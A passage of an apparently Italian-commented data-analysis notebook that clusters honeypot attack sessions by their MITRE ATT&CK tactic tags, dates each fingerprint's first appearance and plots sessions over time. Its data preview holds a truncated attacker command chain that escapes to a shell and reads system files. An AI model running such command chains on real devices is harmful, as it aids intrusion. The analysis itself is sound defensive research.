'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery') |
session \
0 enable ; system ; shell ; sh ; cat /proc/mount...
1 enable ; system ; shell ; sh ; cat /proc/mount...
2 enable ; system ; shell ; sh ; cat /proc/mount...
3 enable ; system ; shell ; sh ; cat /proc/mount...
4 enable ; system ; shell ; sh ; cat /proc/mount...
timestamps_statements country_name \
0 2019-09-01 00:00:10.493808+00:00 Israel
1 2019-09-01 00:38:41.134935+00:00 Israel
2 2019-09-01 00:39:26.263383+00:00 Israel
3 2019-09-01 00:40:45.132152+00:00 Israel
4 2019-09-01 00:54:51.783935+00:00 Israel
predicted_tags \
0 [Discovery, Discovery, Discovery, Discovery, D...
1 [Discovery, Discovery, Discovery, Discovery, D...
2 [Discovery, Discovery, Discovery, Discovery, D...
3 [Discovery, Discovery, Discovery, Discovery, D...
4 [Discovery, Discovery, Discovery, Discovery, D...
fingerprint
0 (Discovery, Discovery, Discovery, Discovery, D...
1 (Discovery, Discovery, Discovery, Discovery, D...
2 (Discovery, Discovery, Discovery, Discovery, D...
3 (Discovery, Discovery, Discovery, Discovery, D...
4 (Discovery, Discovery, Discovery, Discovery, D...
df_inf['session_date'] = pd.to_datetime(df_inf['timestamps_statements']).dt.date
# --- 2) Crea la fingerprint come tupla di tag (se non già presente) ---
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)
# --- 3) Prepara un DataFrame ridotto a fingerprint + prima data di comparsa ---
fingerprint_birth_df = df_inf[['fingerprint', 'session_date']].copy()
# --- 4) Trova la prima comparsa di ogni fingerprint ---
first_seen = (
fingerprint_birth_df
.sort_values('session_date')
.drop_duplicates(subset='fingerprint', keep='first')
)
# --- 5) Ordina per data di nascita ---
sorted_fingerprints = first_seen.sort_values('session_date').reset_index(drop=True)
# --- 6) Stampa i primi 10 ---
print("\nPrimi 10 fingerprint unici ordinati per data di comparsa:\n")
for _, row in sorted_fingerprints.head(10).iterrows():
print(f"{row['session_date']} → {row['fingerprint']}")
Primi 10 fingerprint unici ordinati per data di comparsa:
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
first_seen = (
df_inf[['fingerprint','session_date']]
.sort_values('session_date')
.drop_duplicates(subset='fingerprint', keep='first')
.reset_index(drop=True)
)
# 1) Assegna un ID incrementale ai fingerprint ordinati
first_seen = first_seen.reset_index(drop=True)
first_seen['fingerprint_id'] = first_seen.index
# 2) Mostra i primi 10 con fingerprint_id
print("\nPrimi 10 fingerprint con fingerprint_id:\n")
for _, row in first_seen.head(10).iterrows():
print(f"ID {row['fingerprint_id']} → {row['session_date']} → {row['fingerprint']}")
Primi 10 fingerprint con fingerprint_id:
ID 0 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 1 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 2 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 3 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Discovery', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 4 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 5 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 6 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 7 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Defense Evasion', 'Execution', 'Execution', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 8 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery')
ID 9 → 2019-09-01 → ('Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution')
# --- 2) Assicurati che df_inf abbia la colonna fingerprint e rimuovi eventuale fingerprint_id precedente ---
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)
if 'fingerprint_id' in df_inf.columns:
df_inf = df_inf.drop('fingerprint_id', axis=1)
# --- 2b) Merge con sorted_fingerprints (che contiene fingerprint_id) ---
# Assicurati di avere già creato `first_seen` o `sorted_fingerprints` come segue:
sorted_fingerprints = first_seen[['fingerprint','session_date']].copy()
sorted_fingerprints['fingerprint_id'] = sorted_fingerprints.index
df_inf = pd.merge(
df_inf,
sorted_fingerprints[['fingerprint', 'fingerprint_id']],
on='fingerprint',
how='left'
)
# --- 3) Estrai la sola data dal timestamp e mettila in colonna `date` ---
df_inf['date'] = pd.to_datetime(df_inf['timestamps_statements'], errors='coerce').dt.date
# --- 4) Raggruppa per data e conta le sessioni ---
sessions_per_day = (
df_inf
.groupby('date')
.size()
.reset_index(name='session_count')
.sort_values('date')
.reset_index(drop=True)
)
# --- 5) Visualizza i primi 10 giorni ---
print("\nNumero di sessioni per giorno (prime 10 righe):\n")
print(sessions_per_day.head(10).to_markdown(index=False))
Numero di sessioni per giorno (prime 10 righe): | date | session_count | |:-----------|----------------:| | 2019-09-01 | 148 | | 2019-09-02 | 158 | | 2019-09-03 | 146 | | 2019-09-04 | 145 | | 2019-09-06 | 410 | | 2019-09-07 | 368 | | 2019-09-08 | 401 | | 2019-09-09 | 425 | | 2019-09-10 | 456 | | 2019-09-11 | 275 |
import matplotlib.pyplot as plt
# Raggruppa per data e fingerprint_id e conta le sessioni
grouped = (
df_inf
.groupby(['date', 'fingerprint_id'])
.size()
.reset_index(name='session_count')
)
# Prepara la figura
plt.figure(figsize=(14, 8))
# Scatter plot: x = date, y = fingerprint_id, dimensione e colore ∝ session_count
scatter = plt.scatter(
grouped['date'],
grouped['fingerprint_id'],
s=grouped['session_count'] * 2, # scala la dimensione dei punti
c=grouped['session_count'], # colore basato sul count
cmap='viridis', # mappa di colore
alpha=0.7,
edgecolors='w',
linewidth=0.5
)
# Barra del colore
plt.colorbar(scatter, label='Numero di sessioni')
# Etichette e titolo
plt.xlabel('Data')
plt.ylabel('Fingerprint ID')
plt.title('Distribuzione delle sessioni per Fingerprint ID nel tempo')
# Ruota le date per leggibilità
plt.xticks(rotation=45)
plt.tight_layout()
plt.show()